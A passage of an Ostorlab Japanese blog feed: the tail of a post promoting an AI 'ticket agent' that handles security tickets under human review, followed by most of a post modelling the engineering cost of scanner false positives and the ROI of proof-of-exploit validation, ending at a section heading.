&lt;p&gt;各ルールは絞り込むことができます。たとえば、クリティカルなチケットだけ、あるいは一つのアプリのスキャンだけ、といった具合です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="チケットが作成されたときに発火するチケットルールとそのプロンプト" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-10-06_ticket_agent/ticket_rule.jpg" title="エージェントを実行するタイミングを選ぶ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;エージェントを実行するタイミングを選ぶ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社の仕事のやり方を教える&lt;/strong&gt;：スキル、つまりチームの仕事の進め方を説明する短いガイドを与えることができます。また、メモリを与えることもでき、あるチケットで学んだことが次のチケットで役立ちます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社のツールに接続する&lt;/strong&gt;：エージェントはMCP（Model Context Protocol）サーバーを使えるため、Ostorlab自身のツールだけでなく、チームがすでに使っているツールとも連携できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="リモート、ローカル、Ostorlab OXOのMCPサーバーを接続するMCPサーバーのステップ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-10-06_ticket_agent/mcp_servers.jpg" title="エージェントを自社のツールに接続する"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;エージェントを自社のツールに接続する&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;人と並んで働く&lt;/strong&gt;：チームメイトに割り当てるのと同じように、チケットをエージェントに割り当てます。一つのチケットに両方を割り当てることもできます。エージェントは自分の担当部分をこなし、人が主導権を保ちます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テンプレートから始める&lt;/strong&gt;：ゼロから始めたくない場合は、脆弱性のトリアージやコンプライアンスレビュー用の既製のエージェントを使えます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Vulnerability TriageとComplianceのテンプレートがあるエージェントテンプレートのタブ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-10-06_ticket_agent/templates_tab.jpg" title="テンプレートから始める"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;テンプレートから始める&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;テンプレートのルールは最初はオフになっているため、指示するまで何も実行されません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="有効にするまでオフになっているテンプレートのルール" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-10-06_ticket_agent/rules_step.jpg" title="テンプレートのルールは最初はオフ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;テンプレートのルールは最初はオフ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="チケットエージェントがチームのためにできること"&gt;チケットエージェントがチームのためにできること&lt;/h2&gt;
&lt;p&gt;当社はまず自分たちのためにこれを作りました。そして今、あなたのチームで使える準備が整いました。&lt;/p&gt;
&lt;p&gt;エージェントは、バグの修正、新しいチケットの仕分け、コンプライアンスのレビュー、毎週月曜日の確認などを行えます。その仕事、実行するタイミング、触れてよい範囲は自社で決められます。そして最終的な判断は常に人が下します。&lt;/p&gt;
&lt;p&gt;自社のバックログがかつての当社のような状態なら、チケットエージェントが簡単なチケットを片付け、チームは難しいチケットに専念できます。&lt;/p&gt;
&lt;p&gt;当社と同じように、小さく始めてください。テンプレートを選び、テスト用のチケットを一つ割り当て、エージェントの報告を読んでから、次に何を任せるかを決めましょう。&lt;/p&gt;
&lt;p&gt;チケットエージェントはプラットフォームの&lt;strong&gt;Agents &amp;rarr; AI Agents&lt;/strong&gt;にあります。設定の全体については、&lt;a href="https://docs.ostorlab.co/ai_agents/ticket_agent.html"&gt;チケットエージェントのセットアップガイド&lt;/a&gt;で最初から最後まで解説しています。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabのチケットエージェントとは何ですか？&lt;/strong&gt;
チケットのバックログを処理するAIエージェントです。平易な言葉で仕事を与え、モデルを選び、実行するタイミングのルールを設定します。バグを修正してプルリクエストを作成したり、新しいチケットをトリアージしたり、コンプライアンスをレビューしたり、スケジュールに従って実行したりでき、その作業は常に人がレビューします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エージェントはいつ実行すればよいかをどのように知るのですか？&lt;/strong&gt;
ルールを追加します。ルールは、チケットに何かが起きたとき（作成された、割り当てられた、再オープンされた、コメントが付いた、期限を過ぎた）、スキャンが完了したとき、または毎週月曜日の朝のようなスケジュールに従って発火できます。各ルールは、たとえばクリティカルなチケットだけ、あるいは一つのアプリのスキャンだけに絞り込めます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社のAIモデルを使えますか？&lt;/strong&gt;
はい。自社のAIプロバイダーのキーを持ち込むことも、Ostorlabが提供するモデルで実行してクレジット残高で支払うこともできます。各実行は開始時にクレジットを確保し、使わなかった分は戻ってきます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エージェントはエンジニアに取って代わるのですか？&lt;/strong&gt;
いいえ。チームメイトに割り当てるのと同じようにチケットをエージェントに割り当て、一つのチケットに両方を割り当てることもできます。エージェントは繰り返しの作業を担ってプルリクエストを作成し、人がそれをレビューして最終的な判断を下します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlab以外のツールに接続できますか？&lt;/strong&gt;
はい。エージェントは、リモート、ローカル、Ostorlab OXOのいずれのMCP（Model Context Protocol）サーバーも使えるため、チームがすでに使っているツールと連携できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;どのように始めればよいですか？&lt;/strong&gt;
Vulnerability TriageやCompliance Reviewなどのテンプレートを選び、テスト用のチケットを一つ割り当てて、その報告を読んでください。ルールは最初はオフになっているため、有効にするまで何も実行されません。設定の全体については、&lt;a href="https://docs.ostorlab.co/ai_agents/ticket_agent.html"&gt;セットアップガイド&lt;/a&gt;で最初から最後まで解説しています。&lt;/p&gt;
&lt;p&gt;最初のエージェントの設定にお困りですか？ &lt;a href="mailto:support@ostorlab.dev"&gt;support@ostorlab.dev&lt;/a&gt;までメールでお問い合わせください。&lt;/p&gt;</content><category term="Product"/><category term="AI"/><category term="agents"/><category term="remediation"/><category term="tickets"/></entry><entry><title>誤検知の真のコスト：ノイズの多いスキャナーが課すエンジニアリング税を計算する</title><link href="https://blog.ostorlab.co/ja/true-cost-false-positives-noisy-security-scanners.html" rel="alternate"/><published>2026-09-28T10:00:00+02:00</published><updated>2026-09-28T10:00:00+02:00</updated><author><name>Sohaib Harraoui</name></author><id>tag:blog.ostorlab.co,2026-09-28:/ja/true-cost-false-positives-noisy-security-scanners.html</id><summary type="html">&lt;p&gt;誤検知は、スキャナーの品質だけの問題ではなく、エンジニアリングのキャパシティの問題です。そのコストを計測し、実証エクスプロイトテストのROIを評価する方法を学びましょう。&lt;/p&gt;</summary><content type="html">&lt;p&gt;1件の誤検知は、エンジニアリングチームに30ドル、300ドル、あるいは3,000ドルのコストをもたらすことがあります。&lt;/p&gt;
&lt;p&gt;人件費込みで時給90ドルの場合、20分で片付ければ30ドルのコストです。後述する300ドルのシナリオは、時給120ドルの開発者が2.5時間を要することを前提としています。時給180ドルのシニア開発者と時給195ドルのAppSecレビュー担当者が、それぞれ8時間かけて再構成する場合、3,000ドル（8 &amp;times;（180ドル + 195ドル））のコストになります。&lt;/p&gt;
&lt;p&gt;同じスキャナーでも、誰がそのアラートに触れ、どれだけのコンテキストを再構成しなければならないかによって、まったく異なるコストを生み出すことがあります。&lt;/p&gt;
&lt;p&gt;だからこそ、「当社のスキャナーは誤検知が少ない」ということだけでは、ビジネス上の妥当性の根拠になりません。有用な問いはこうです。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;チームが自信を持って、それを修正するか、先送りするか、クローズするかを判断できるようになるまでに、1件のアラートはどれだけのエンジニアリング時間を消費するのか。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ノイズの多いセキュリティプログラムでは、その時間がエンジニアリング税になります。その税は、中断された機能開発、AppSecの調査、Slackのスレッド、重複したチケット、そして次のアラートへの信頼の喪失という形で支払われます。&lt;/p&gt;
&lt;h2 id="誤検知はエンジニアリングチームにどれだけのコストをもたらすか"&gt;誤検知はエンジニアリングチームにどれだけのコストをもたらすか&lt;/h2&gt;
&lt;p&gt;誤検知は、人間のワークフローに到達する、対応不要なアラート（ここでは修復タスクを伴わずにクローズされたアラートと定義します）のすべてについて、その人件費込みのコストをエンジニアリングチームに負わせます。後述の計算例では、開発者の時間だけで1件あたり300ドルになります。&lt;/p&gt;
&lt;p&gt;次のモデルを使ってください。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Annual noise cost =
non-actionable alerts that reach humans
&amp;times; average labor cost per alert
&amp;times; number of periods per year (12 when the alert count is monthly)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;個々のアラートについては、次のとおりです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Labor cost per alert =
((developer investigation time + context-recovery time) &amp;times; loaded developer hourly cost)
+ (security-review time &amp;times; loaded security hourly cost)
+ other coordination costs not already included above
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;給与だけでなく、&lt;strong&gt;人件費込みのコスト&lt;/strong&gt;を使ってください。雇用主が負担する税金、福利厚生、機器、管理、間接費のすべてが重要です。&lt;/p&gt;
&lt;p&gt;実際に人間のワークフローに到達するアラートだけを数えてください。自動的に抑制されるアラートは、同じ限界コストをもたらしません。&lt;/p&gt;
&lt;h3 id="計算例:なぜ1件の誤報が300ドルを超えうるのか"&gt;計算例：なぜ1件の誤報が300ドルを超えうるのか&lt;/h3&gt;
&lt;p&gt;ある開発者が次の時間を費やすと仮定します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コードパス、アプリケーションの挙動、または設定の確認に90分&lt;/li&gt;
&lt;li&gt;チケットの読み込みとAppSecとの調整に15分&lt;/li&gt;
&lt;li&gt;中断された開発のコンテキストの再構成に45分&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これは開発者の時間として2.5時間です。人件費込みで時給120ドルの場合、次のようになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;2.5 hours &amp;times; $120/hour = $300 per non-actionable alert
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これは一つのシナリオであり、業界平均ではありません。時給やワークフローが異なるチームは、自社の数値を当てはめるべきです。&lt;/p&gt;
&lt;p&gt;これを、ささやかな件数に適用してみましょう。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;前提&lt;/th&gt;
&lt;th style="text-align: right;"&gt;値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;毎月開発者に振り分けられるアラート&lt;/td&gt;
&lt;td style="text-align: right;"&gt;120&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;後に対応不要としてクローズされる割合&lt;/td&gt;
&lt;td style="text-align: right;"&gt;25%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応不要なアラート1件あたりの開発者の工数&lt;/td&gt;
&lt;td style="text-align: right;"&gt;2.5時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;人件費込みの開発者コスト&lt;/td&gt;
&lt;td style="text-align: right;"&gt;120ドル/時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;月あたりの開発者コスト&lt;/td&gt;
&lt;td style="text-align: right;"&gt;9,000ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;年あたりの開発者コスト&lt;/td&gt;
&lt;td style="text-align: right;"&gt;108,000ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;AppSecエンジニアが、それら毎月30件のアラートそれぞれに、人件費込みで時給100ドルで20分を費やす場合、月あたりさらに1,000ドルが加わります。合わせると、対応不要なアラート1件あたり約333ドル、つまり月あたり10,000ドルになります。モデル上の年あたりの税は、納期の遅延、重複作業、あるいは開発者がキューを無視し始めるリスクを数える前の時点で、&lt;strong&gt;120,000ドル&lt;/strong&gt;になります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ノイズの多いセキュリティアラートがエンジニアに繰り返しのコンテキスト再構成と調査を強いる様子と、実証に裏付けられた検出結果がエンジニアに実証を検証して直接対応させる様子を対比した図" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-28_true_cost_false_positives/triage-workflow-white.png" title="ノイズの多いアラートのトリアージ対実証に裏付けられた検証"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;ノイズの多いアラートのトリアージ対実証に裏付けられた検証&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図1：ノイズの多いアラートは繰り返しの調査とコンテキストの再構成を必要とする一方、実証に裏付けられた検出結果はエンジニアに実証を検証して直接対応させる。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="なぜ誤検知は、記録されたトリアージ時間よりも多くのコストがかかるのか"&gt;なぜ誤検知は、記録されたトリアージ時間よりも多くのコストがかかるのか&lt;/h2&gt;
&lt;p&gt;チケットに記録される分数は、この税の最も小さな部分にすぎません。隠れたコストは、開発者が行う調査、コンテキストの再構成、そして作業への復帰であり、チケットには決して捉えられないものです。&lt;/p&gt;
&lt;p&gt;1件のセキュリティアラートは、開発者に、影響を受けるリリースの特定、意図された認可モデルの再構成、適切なテストデータを用いたリクエストの再現、上流の制御が適用されるかどうかの判定、そしてその結果のセキュリティチームへの説明を要求することがあります。その後、開発者は元の作業に戻らなければなりません。&lt;/p&gt;
&lt;p&gt;その再構成の作業は、架空の間接費ではありません。&lt;/p&gt;
&lt;p&gt;プログラミング活動の中断後のタスク再開に関する探索的研究で、Chris ParninとSpencer Rugaberは、開発者が再び編集を始める前に、追加のタスクコンテキストを探して移動しなければならないことが一般的であり、記録されたセッションのうち、1分未満でコーディングを再開できたのはごく一部にすぎなかったことを明らかにしました。&lt;/p&gt;
&lt;p&gt;ノイズの多いアラートは、開発者が機能開発に戻るときに、同じコンテキスト再構成の負担を生み出すことがあります。この研究はセキュリティアラートによる中断を直接的に定量化していないため、300ドルという数字は、研究の結果ではなく、あくまで説明のためのシナリオにとどまります。&lt;a href="https://chrisparnin.me/pdf/parnin-icpc09.pdf"&gt;ParninとRugaberのタスク再開研究を読む&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;このコストモデルは厳密な意味での誤検知よりも広いものですが、そのカテゴリーをひとまとめにすべきではありません。&lt;strong&gt;誤検知、重複、スコープ外のアラート&lt;/strong&gt;は、修復作業にならない候補の検出結果です。&lt;strong&gt;受容されたリスクと、本物だが到達不可能な弱点&lt;/strong&gt;は、ガバナンスの判断を要する本物の検出結果であり得ます。&lt;/p&gt;
&lt;p&gt;どちらのカテゴリーも時間を消費するため追跡してください。ただし、ガバナンスの作業をスキャナーの誤りとして報告してはなりません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;対応不要なアラートの件数&lt;/strong&gt;は、計測すべき運用上の数値です。すなわち、修復タスクを伴わずにクローズされたアラートであり、スキャナーの素の誤検知件数と同一視するのではなく、カテゴリー別に報告します。&lt;/p&gt;
&lt;h2 id="なぜセキュリティスキャナーは誤検知を生み出すのか"&gt;なぜセキュリティスキャナーは誤検知を生み出すのか&lt;/h2&gt;
&lt;p&gt;スキャナーがノイズを生み出すのは、候補の検出が、カスタムの制御、実行時の設定、外部コンポーネント、到達可能性、ビジネスロジックについて不完全な情報のもとで動作するからです。それでもスキャナーには価値があります。静的解析は開発の早い段階で潜在的に危険な経路を特定でき、動的テストはソースコードだけでは実証できない挙動を明らかにできます。&lt;/p&gt;
&lt;p&gt;しかし、候補の検出は、報告可能な脆弱性と同じではありません。&lt;/p&gt;
&lt;p&gt;OWASPも同じ境界を引いています。静的解析ツールは誤検知を生み出すことがあり、特定された問題が実際の脆弱性かどうかを確認するのは、しばしば困難です。&lt;a href="https://community.owasp.org/controls/Static_Code_Analysis"&gt;OWASPの静的解析ガイダンス&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;したがって、誤検知率は持ち運び可能なマーケティング統計ではありません。258のオープンソース組み込みプロジェクトに関する現在の拡張レポートでは、CodeQLは34%の誤検知率で709件の真の欠陥を報告しました。それは、一つの環境における問題の規模を示す有用なエビデンスであって、あらゆるスキャナーやコードベースに適用すべき率ではありません。&lt;a href="https://arxiv.org/abs/2310.00205"&gt;CodeQLの258プロジェクトのレポートを読む&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;正しい対応は、スキャンをやめることではありません。35の産業プロジェクトに関する研究では、静的解析ツールはチームが欠陥を早期に発見して除去するのを助けるため、総合的には依然として費用対効果が高くなり得ることが分かりました。&lt;a href="https://arxiv.org/abs/2003.03001"&gt;費用対効果の研究を読む&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;運用上の目標は、その早期のシグナルを保ちつつ、裏付けのない仮説が開発者のチケットになるのを防ぐことです。&lt;/p&gt;
&lt;h2 id="実証エクスプロイトのセキュリティテストとは何か"&gt;実証エクスプロイトのセキュリティテストとは何か&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;実証エクスプロイトテスト&lt;/strong&gt;は、候補となる弱点が開発者のチケットになる前に、制御された環境でそれを検証するものです。&lt;/p&gt;
&lt;p&gt;実証エクスプロイトテストは、引き継ぎを次の形から、&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Possible weakness &amp;rarr; developer repeats the investigation &amp;rarr; verdict
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;次の形へと変えます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Candidate weakness &amp;rarr; controlled validation &amp;rarr; evidence-backed finding, conditional result, or suppression
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;エビデンスは、レビュー担当者が4つの問いに素早く答えられるようにすべきです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;正確には何がテストされ、どのバージョンまたは環境に対してか。&lt;/li&gt;
&lt;li&gt;どのような条件やテスト用のアイデンティティが必要だったか。&lt;/li&gt;
&lt;li&gt;どのリクエスト、操作、またはコードパスがその挙動を引き起こしたか。&lt;/li&gt;
&lt;li&gt;どのような観測可能な結果が影響を立証するか。そして、その結果が意味のあるものだと示すネガティブコントロールは何か。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;抑制を使うのは、検証が同等環境のエビデンスと意味のあるネガティブコントロールを含む場合に限ってください。制約のあるテストで再現できなかったというだけでは、その候補が誤検知であったことを実証したことにはなりません。&lt;/p&gt;
&lt;p&gt;WebまたはAPIの検出結果については、それは伏字化した&lt;code&gt;curl&lt;/code&gt;コマンド、対応するHTTPリクエストとレスポンス、そして想定される認可の失敗と観測された結果を対比して示す比較であることがあります。サニタイズされた開発者向けのエビデンスは、プレースホルダーと再現のためのコンテキストを保持すべきです。完全なリクエスト、シークレット、その他の機密性の高いアーティファクトは、アクセス制御されたエビデンス記録に置くべきです。モバイルテストについては、スクリーンショット、実行時ログ、端末のテレメトリ、再実行可能な手順を含むことがあります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="再現可能なWebおよびAPIのリクエスト、そのレスポンス、そして結果の検証に必要な根本原因のコンテキストを示す、サニタイズ済みのOstorlabの検出結果詳細" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-27-Best-source-code-scanning-tools/Ostorlab-Exploitability-First-Findings.png" title="WebおよびAPIのエクスプロイトのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;WebおよびAPIのエクスプロイトのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図2：サニタイズされた検出結果は、根本原因を伏字化したリクエストと観測されたレスポンスに結び付けるため、レビュー担当者は最初の調査を再現せずに結果を検証できる。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;実証は、実行時のリクエストではなく、コードに根ざしたものであることもあります。下記のRawSpeedのソースコードの検出結果では、&lt;strong&gt;Exploitation Evidence&lt;/strong&gt;パネルが、幅クラスの分析、最小化されたPoCの条件、そして脆弱なバージョンと修正済みバージョンの検証を検出結果とともに保持しています。レポートにアクセスできるレビュー担当者は、チケットの要約から再構成するのではなく、詳細ビューでその保存されたエビデンスを見直すことができます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="幅クラスの分析、制約された概念実証の条件、そして観測された検証結果を示す、サニタイズ済みのソースコードの検出結果のExploitation Evidenceパネル" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-28_true_cost_false_positives/rawspeed-exploitation-evidence.png" title="検出結果とともに保持されたソースコードのエクスプロイトのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;検出結果とともに保持されたソースコードのエクスプロイトのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図3：ソースコードの検出結果の保存されたエビデンス記録。レポートは、後のレビュー担当者による検査のために、検出結果を裏付ける限定された条件と観測された検証を保存する。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;モバイルアプリとそのAPIについては、&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;が、そのエビデンス（スクリーンショット、リクエスト／レスポンスのログ、ステップごとの再現）を提供し、さらに修復ガイダンスと検証のための再テストを加えます。&lt;/p&gt;
&lt;p&gt;重要な境界はこうです。実証は、トリアージのうち&lt;strong&gt;再現と事実確認&lt;/strong&gt;の部分を大幅に小さくすべきです。それは人間の判断をゼロにするものではありません。&lt;/p&gt;
&lt;p&gt;開発者は依然として、ビジネスへの影響を評価し、テスト環境が本番環境と一致することを確認し、安全な修復を決定し、その修正がリグレッションを生まないことを検証する必要があるかもしれません。信頼できるROIモデルは、こうした判断が消えるかのように見せかけてはなりません。&lt;/p&gt;
&lt;aside aria-label="QMC case study" class="product-box" style="background-color: #f6f8fa; border: 1px solid #eaeef2; border-left: 4px solid #0081ba; border-radius: 10px; color: #545454; margin: 2.5rem 0; padding: 1.5rem; display: flex; flex-wrap: wrap-reverse; align-items: center; gap: 1.5rem 2rem;"&gt;
&lt;div style="flex: 1 1 320px;"&gt;
&lt;p class="product-box__kicker" style="color: #0081ba; font-size: 0.8rem; font-weight: 700; letter-spacing: 0.12em; margin: 0 0 0.5rem; text-transform: uppercase;"&gt;事例&lt;/p&gt;
&lt;p class="product-box__title" style="color: #353636; font-size: 1.25rem; font-weight: 800; letter-spacing: -0.01em; line-height: 1.35; margin: 0;"&gt;QMCは引き継ぎの前に検出結果を検証することで、修復を4か月から1週間に短縮した&lt;/p&gt;
&lt;p class="product-box__text" style="font-size: 1rem; line-height: 1.6; margin: 0.75rem 0 0;"&gt;カタールの国営メディア組織であるQatar Media Corporation（QMC）は、前述のエンジニアリング税を支払っていました。そのスキャナーは、対応するのに十分なコンテキストなしに問題を指摘していたため、検出結果はしばしば、それが重要なのか、なぜ重要なのかをめぐる、セキュリティと開発者の間の往復のやり取りに変わっていました。&lt;/p&gt;
&lt;p class="product-box__text" style="font-size: 1rem; line-height: 1.6; margin: 0.75rem 0 0;"&gt;QMCは、継続的なカバレッジのためにRule-Based Scanを維持しつつ、検出結果が開発者に到達する前にそれを調査・検証するためにAgentic Deep Scanを追加し、最終チェックとして手動レビューを行いました。開発者は調査を繰り返す代わりに検証済みの検出結果から着手できるようになり、QMCの平均的な修復サイクルは4か月から1週間へと短縮されました。&lt;/p&gt;
&lt;div class="product-box__actions" style="display: flex; flex-wrap: wrap; gap: 10px; margin-top: 1.25rem;"&gt;
&lt;a class="nl-btn nl-btn--primary" href="https://ostorlab.co/case-studies/qmc" style="align-items: center; background-color: #148BBF; border-radius: 8px; color: #fff; display: inline-flex; font-size: 0.95rem; font-weight: 600; height: 44px; padding: 0 18px; text-decoration: none;" target="_blank"&gt;QMCの事例を読む &lt;i aria-hidden="true" class="mdi mdi-arrow-right" style="margin-left: 8px;"&gt;&lt;/i&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style="flex: 0 1 260px;"&gt;
&lt;figure&gt;&lt;img alt="Qatar Media Corporation（QMC）のロゴ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-28_true_cost_false_positives/qmc-logo.svg" style="border: none; border-radius: 0; width: 260px; max-width: 100%; height: auto; margin: 0 auto;"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/aside&gt;
&lt;h2 id="実証エクスプロイトのroiをどう計算するか"&gt;実証エクスプロイトのROIをどう計算するか&lt;/h2&gt;
&lt;p&gt;実証エクスプロイトテストは、判定までの時間を短縮することで、開発者のキャパシティを回復できます。財務上のROIが実現するのは、その回復したキャパシティが支出を回避するか、計測可能な成果を生み出す場合に限られます。そのため、キャパシティの価値とキャッシュの節約は分けて考えてください。&lt;/p&gt;
&lt;p&gt;パイロット運用を使って、現在のワークフローと実証に裏付けられたワークフローを比較してください。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Annual developer capacity value recovered =
alerts prevented from reaching developers or shortened by evidence
&amp;times; (baseline developer handling time &amp;minus; post-evidence developer handling time)
&amp;times; loaded developer hourly cost
&amp;times; periods per year (12 for a monthly alert count)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;次に、以下を計算します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Financial ROI =
((annual developer capacity value recovered &amp;times; realization factor)
&amp;minus; annual incremental testing cost)
&amp;divide; annual incremental testing cost

realization factor (0&amp;ndash;1) =
share of recovered capacity that avoids spend or creates measured output
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;説明のための開発者キャパシティのシナリオを考えてみましょう。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;尺度&lt;/th&gt;
&lt;th style="text-align: right;"&gt;ベースラインのスキャナー&lt;/th&gt;
&lt;th style="text-align: right;"&gt;実証に裏付けられたワークフロー&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;対応不要な開発者チケット1件あたりの時間&lt;/td&gt;
&lt;td style="text-align: right;"&gt;2.5時間&lt;/td&gt;
&lt;td style="text-align: right;"&gt;0.5時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;人件費込みの開発者コスト&lt;/td&gt;
&lt;td style="text-align: right;"&gt;120ドル/時間&lt;/td&gt;
&lt;td style="text-align: right;"&gt;120ドル/時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アラート1件あたりに消費されるキャパシティ&lt;/td&gt;
&lt;td style="text-align: right;"&gt;300ドル&lt;/td&gt;
&lt;td style="text-align: right;"&gt;60ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;短縮されたアラート1件あたりに回復するキャパシティ&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&amp;mdash;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;240ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;実証によって、毎月開発者に振り分けられる対応不要なアラート30件（振り分けられた120件 &amp;times; 後に対応不要としてクローズされる25%）のそれぞれを、開発者の時間で0.5時間に短縮する場合、次のようになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;30 &amp;times; $240 &amp;times; 12 = $86,400 annual developer capacity value recovered
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これは依然としてモデルであり、約束ではありません。総キャパシティ価値を見積もる際には、記録された時間の合計、またはアラートあたりの算術平均を使ってください。ワークフローのパフォーマンスを報告する際には、判定までの時間の中央値とP90を使ってください。そのうえで、チーム自身の人件費込みのコスト、実現係数、そして実際に開発者に振り分けられたアラートの件数を当てはめてください。&lt;/p&gt;
&lt;h2 id="実証エクスプロイトのパイロットは何を計測すべきか"&gt;実証エクスプロイトのパイロットは何を計測すべきか&lt;/h2&gt;
